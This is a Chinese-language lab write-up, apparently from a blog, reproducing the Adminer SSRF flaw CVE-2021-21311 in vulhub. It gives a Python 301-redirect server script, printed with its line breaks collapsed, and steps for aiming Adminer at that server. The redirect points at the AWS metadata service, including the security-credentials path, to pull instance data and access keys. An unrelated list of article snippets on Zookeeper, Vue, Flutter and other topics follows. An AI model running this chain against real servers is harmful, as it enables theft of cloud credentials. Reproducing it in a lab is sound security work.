vulhub中Adminer ElasticSearch 和 ClickHouse 错误页面SSRF漏洞复现(CVE-2021-21311)
Adminer是一个PHP编写的开源数据库管理工具,支持MySQL、MariaDB、PostgreSQL、SQLite、MS SQL、Oracle、Elasticsearch、MongoDB等数据库。
在其4.0.0到4.7.9版本之间,连接 ElasticSearch 和 ClickHouse 数据库时存在一处服务端请求伪造漏洞(SSRF)。

参考连接:
https://github.com/vrana/adminer/security/advisories/GHSA-x5r2-hj5c-8jx6
https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf
https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21311.yaml
1.在Adminer登录页面,选择ElasticSearch作为系统目标,并在server字段填写`example.com`,点击登录即可看到`example.com`返回的400错误页面展示在页面中

Vulnerability-Wiki/docs-base/docs/webapp/Adminer-SSRF漏洞-CVE-2021-21311.md at master · Threekiii/Vulnerability-Wiki (github.com)
使用管理员发送任意get请求并从内部服务器检索JSON响应的方法。可以从AWS元数据服务中提取AWS访问密钥。
参考链接:
- SSRF in adminer · CVE-2021-21311 · GitHub Advisory Database · GitHub
- https://gist.github.com/bpsizemore/227141941c5075d96a34e375c63ae3bd
首先,启动一个python服务器,该服务器侦听传入的连接并以301重定向响应到任意选择的主机。在此示例情况下,重定向指向AWS元数据服务:
http://169.254.169.254/latest/meta-data/instance-id
然后,在Adminer中使用Elasticsearch登录模块“登录”运行python代码的服务器,这导致Adminer从包含服务器的AWS实例ID的元数据服务器打印json响应。
重定向请求的python脚本:
#!/usr/bin/env pythonimport SimpleHTTPServer
import SocketServer
import sys
import argparsedef redirect_handler_factory(url):"""Returns a request handler class that redirects to supplied `url`"""class RedirectHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):def do_GET(self):self.send_response(301)self.send_header('Location', url)self.end_headers()def do_POST(self):self.send_response(301)self.send_header('Location', url)self.end_headers()return RedirectHandlerdef main():parser = argparse.ArgumentParser(description='HTTP redirect server')parser.add_argument('--port', '-p', action="store", type=int, default=80, help='port to listen on')parser.add_argument('--ip', '-i', action="store", default="", help='host interface to listen on')parser.add_argument('redirect_url', action="store")myargs = parser.parse_args()redirect_url = myargs.redirect_urlport = myargs.porthost = myargs.ipredirectHandler = redirect_handler_factory(redirect_url)handler = SocketServer.TCPServer((host, port), redirectHandler)print("serving at port %s" % port)handler.serve_forever()if __name__ == "__main__":main()
http://169.254.169.254/latest/meta-data/iam/security-credentials/ //列出服务器的可用角色。
相关文章:
vulhub中Adminer ElasticSearch 和 ClickHouse 错误页面SSRF漏洞复现(CVE-2021-21311)
Adminer是一个PHP编写的开源数据库管理工具,支持MySQL、MariaDB、PostgreSQL、SQLite、MS SQL、Oracle、Elasticsearch、MongoDB等数据库。 在其4.0.0到4.7.9版本之间,连接 ElasticSearch 和 ClickHouse 数据库时存在一处服务端请求伪造漏洞(…...
浅谈Zookeeper及windows下详细安装步骤
1. Zookeeper介绍 1.1 分布式系统面临的问题 分布式系统是一个硬件或软件组件分布在不同的网络计算机上,彼此之间仅仅通过消息传递进行通信和协调的系统。 面临的问题:系统每个节点之间信息同步及共享 以一个小团队为例,面临的问题 通过网络进行信息…...
vite, vue3, vue-router, vuex, ES6学习日记
学习使用vitevue3的所遇问题总结(2024年2月1日) 组件中使用<script>标签忘记加 setup 这会导致Navbar 没有暴露出来,导致使用不了,出现以下报错 这是因为,如果不用setup,就得使用 export default…...
25考研|660/880/1000/1800全年带刷计划
作为一个参加过两次研究生考试的老学姐,我觉得考研数学的难度完全取决于你自己 我自己就是一个很好的例子 21年数学题目是公认的简单,那一年考130的很多,但是我那一年只考了87分。但是22年又都说是有史以来最难的一年,和20年的难度…...
Mybatis基础教程及使用细节
本篇主要对Mybatis基础使用进行总结,包括Mybatis的基础操作,使用注解进行增删改查的练习;详细介绍xml映射文件配置过程并且使用xml映射文件进行动态sql语句进行条件查询;为了简化java开发提高效率,介绍一下依赖&#x…...
10 分钟在K8s 中部署轻量级日志系统 Loki
转载至我的博客 https://www.infrastack.cn ,公众号:架构成长指南 Loki 是什么? Loki是由Grafana Labs开源的一个水平可扩展、高可用性,多租户的日志聚合系统的日志聚合系统。它的设计初衷是为了解决在大规模分布式系统中&#x…...
图像处理python基础
array 读取图片 tensor 模型预测 一般过程:读取数据np->tensor->model->result->np->画图 shape确保图像输入输出尺寸正确 读取图片 将在GPU上运行的tensor类型转变成在CPU上运行的np类型 三类计算机视觉任务的输入: 分类࿱…...
基于WordPress开发微信小程序2:决定开发一个wordpress主题
上一篇:基于WordPress开发微信小程序1:搭建Wordpress-CSDN博客 很快发现一个问题,如果使用别人的主题模板,多多少少存在麻烦,所以一咬牙,决定自己开发一个主题模板,并且开源在gitee上ÿ…...
[Python] 什么是网格搜索以及scikit-learn中GridSearch类的介绍和使用案例?
什么是网格搜索? 网格搜索是一种参数调优的方法,它可以帮助找到最佳的模型参数。在网格搜索中,我们先指定参数的候选值范围,然后枚举所有可能的参数组合,计算每个模型的性能指标(比如准确率、精确率等&…...
Linux-正则表达式
1.正则表达式的定义: 正则表达式通常用于判断语句中,使用字符串描述、匹配一系列符合某个规则的字符串。 正则表达式是由普通字符与元字符组成。 普通字符包括小写字母、数字、标点符号及一些其他符号。元字符是指在正则表达式中具有特殊意义的专用字符&…...
Java基础学习:System类和Static方法的实际使用
一、System类 1.在程序开发中,我们需要对这个运行的结果进行检验跟我们预判的结果是否一致,就会用到打印结果在控制台中显示出来使用到了System类。System类定义了一些和系统相关的属性和方法,它的属性和方法都是属于静态的,想使用…...
线性代数------矩阵的运算和逆矩阵
矩阵VS行列式 矩阵是一个数表,而行列式是一个具体的数; 矩阵是使用大写字母表示,行列式是使用类似绝对值的两个竖杠; 矩阵的行数可以不等于列数,但是行列式的行数等于列数; 1.矩阵的数乘就是矩阵的每个…...
Flutter 开发3:创建第一个Flutter应用
Step 1: 安装Flutter 1.1 下载Flutter SDK 首先,你需要访问Flutter官方网站下载最新的Flutter SDK。选择适合你操作系统的安装包。 $ cd ~/development $ unzip ~/Downloads/flutter_macos_2.2.3-stable.zip1.2 更新环境变量 接下来,你需要将Flutter…...
Linux中断下半部分:软中断,tasklet和工作队列
为什么要有下半部分 中断会打断其他程序,为了打断其他程序时间短,就需要中断处理程序快。执行中断处理程序后,相同中断不会触发,甚至所有中断都不能触发(设置IRQF_DISABLED,其他硬件与操作系统无法通信)中…...
Flink CEP实现10秒内连续登录失败用户分析
1、什么是CEP? Flink CEP即 Flink Complex Event Processing,是基于DataStream流式数据提供的一套复杂事件处理编程模型。你可以把他理解为基于无界流的一套正则匹配模型,即对于无界流中的各种数据(称为事件),提供一种组合匹配的…...
QSqlRelationalTableModel 关系表格模型
一、 1.1 QSqlRelationalTableModel继承自QSqlTableModel,并且对其进行了扩展,提供了对外键的支持。一个外键就是一个表中的一个字段 和 其他表中的主键字段之间的一对一的映射。例如,“studInfo”表中的departID字段对应的是“departments…...
JS和CSS实现的原生轮播图
JSCSS实现滑动轮播图 使用JS加CSS来实现的幻灯片,主要使用的是CSS的transform属性中的translate来实现,适合与用户交互的轮播图,展现轮播图的数量,用户可自由进行选择。 <!DOCTYPE html> <html lang"en">&…...
【微服务】skywalking自定义链路追踪与日志采集
目录 一、前言 二、自定义链路追踪简介 2.1 自定义链路追踪应用场景 2.2 链路追踪几个关键概念 三、skywalking 自定义链路追踪实现 3.1 环境准备 3.2 集成过程 3.2.1 导入核心依赖 3.2.2 几个常用注解 3.2.3 方法集成 3.2.4 上报追踪信息 四、skywalking 自定义日志…...
MYSQL基础问题
一.DBMS 是什么 DBMS(Database Management System),数据库管理系统,是一种操纵和管理 数据库的大型软件,用于建立、使用和维护数据库。对数据库进行统一的管理和 控制,以保证数据库的安全性和完整性。 二…...
SpringBoot使用Guava实现日志脱敏(含源码)
点击下载《SpringBoot使用Guava实现日志脱敏(含源码)》 1. 摘要 本文将介绍如何使用Google Guava库进行日志脱敏,保护敏感数据的安全。我们将详细解释脱敏的必要性,然后介绍如何使用Guava中的Strings、Maps和CharMatcher类来进行…...
Win11 24H2最新绕过OOBE强制登录微软账户的3种方法(附详细步骤)
Windows 11 24H2 本地账户创建终极指南:三种可靠绕过方案详解 每次Windows大版本更新,微软总会给用户带来一些"惊喜"。这次Windows 11 24H2的OOBE(开箱体验)强制要求登录微软账户,让不少注重隐私和习惯使用…...
Qwen3.5-2B轻量化应用:车载中控屏部署,语音提问+拍照识物双模式
Qwen3.5-2B轻量化应用:车载中控屏部署,语音提问拍照识物双模式 1. 车载AI助手新选择 在智能汽车快速发展的今天,车载中控系统正从简单的信息显示向智能交互平台转变。Qwen3.5-2B作为一款轻量化多模态基础模型,凭借其20亿参数的紧…...
【AI智能体】Claude Code 核心记忆文件 CLAUDE.md实战操作详解
目录 一、前言 二、Claude Code 介绍 2.1 Claude Code 是什么 2.2 Claude Code 核心特点 2.3 与其他AI编程工具对比 三、CLAUDE.md 项目记忆文件介绍 3.1 CLAUDE.md 文件概述 3.1.1 CLAUDE.md 是什么? 3.1.2 CLAUDE.md 核心特点 3.1.3 CLAUDE.md 核心价值 …...
SPM12处理fMRI数据时,如何从OpenNeuro下载的JSON文件里自动提取SliceTiming参数?
SPM12处理fMRI数据时,如何从OpenNeuro下载的JSON文件里自动提取SliceTiming参数? 当你第一次从OpenNeuro下载fMRI数据集时,可能会被附带的JSON文件搞得一头雾水。这些看似复杂的元数据文件实际上藏着预处理所需的关键参数——尤其是SliceTim…...
Python CGI编程:从历史原理到现代启示
1. CGI技术的前世今生 我第一次接触CGI是在2005年维护一个老旧的图书管理系统时。那时候Apache服务器上跑着一堆Perl脚本,每次修改都要小心翼翼地处理文件权限和环境变量。这种看似"古老"的技术,其实正是现代Web开发的基石。 CGI全称Common Ga…...
让AI学习最优抓取:基于快马平台探索OpenClaw Onboard的智能参数优化方案
最近在做一个机器人抓取相关的项目,遇到了参数调优的难题。传统的试错法效率太低,于是尝试用AI辅助开发的方式来解决这个问题。在InsCode(快马)平台上折腾了一周,终于搞出了一个智能参数优化方案,效果还不错,分享下我的…...
Azure DevOps 自托管 Agent 如何用 Service Principal 安全接入 Azure
Azure DevOps 使用服务主体配置自托管代理配置指南1. 概述2. 在 Azure AD 中创建服务主体 (SP)3. 授予 Azure DevOps 权限3.1. 组织层级:用户身份与访问级别3.2. 组织层级:Agent pools管理员3.3. 在 Linux VM 上安装和配置代理3.4. 启动并设置为系统服务…...
实战派必备:基于快马平台打造全能型ventoy系统救援启动盘
实战派必备:基于快马平台打造全能型ventoy系统救援启动盘 最近在折腾系统维护工具时,发现ventoy真是个神器。它不仅能同时装多个系统镜像到一个U盘,还能自定义菜单和工具包。不过网上的ventoy教程大多只教基础用法,真正适合实战的…...
AutoLegalityMod:宝可梦数据一键生成神器,告别手动编辑烦恼
AutoLegalityMod:宝可梦数据一键生成神器,告别手动编辑烦恼 【免费下载链接】PKHeX-Plugins Plugins for PKHeX 项目地址: https://gitcode.com/gh_mirrors/pk/PKHeX-Plugins 在宝可梦游戏的世界里,获得一只完美的宝可梦往往需要耗费大…...
OpenClaw安全实践:Phi-3-vision-128k-instruct本地化部署权限管理指南
OpenClaw安全实践:Phi-3-vision-128k-instruct本地化部署权限管理指南 1. 为什么需要关注OpenClaw的安全配置? 去年夏天,我在调试一个自动化文档处理流程时,差点酿成大错。当时OpenClaw在凌晨3点自动执行了错误的清理指令&#…...
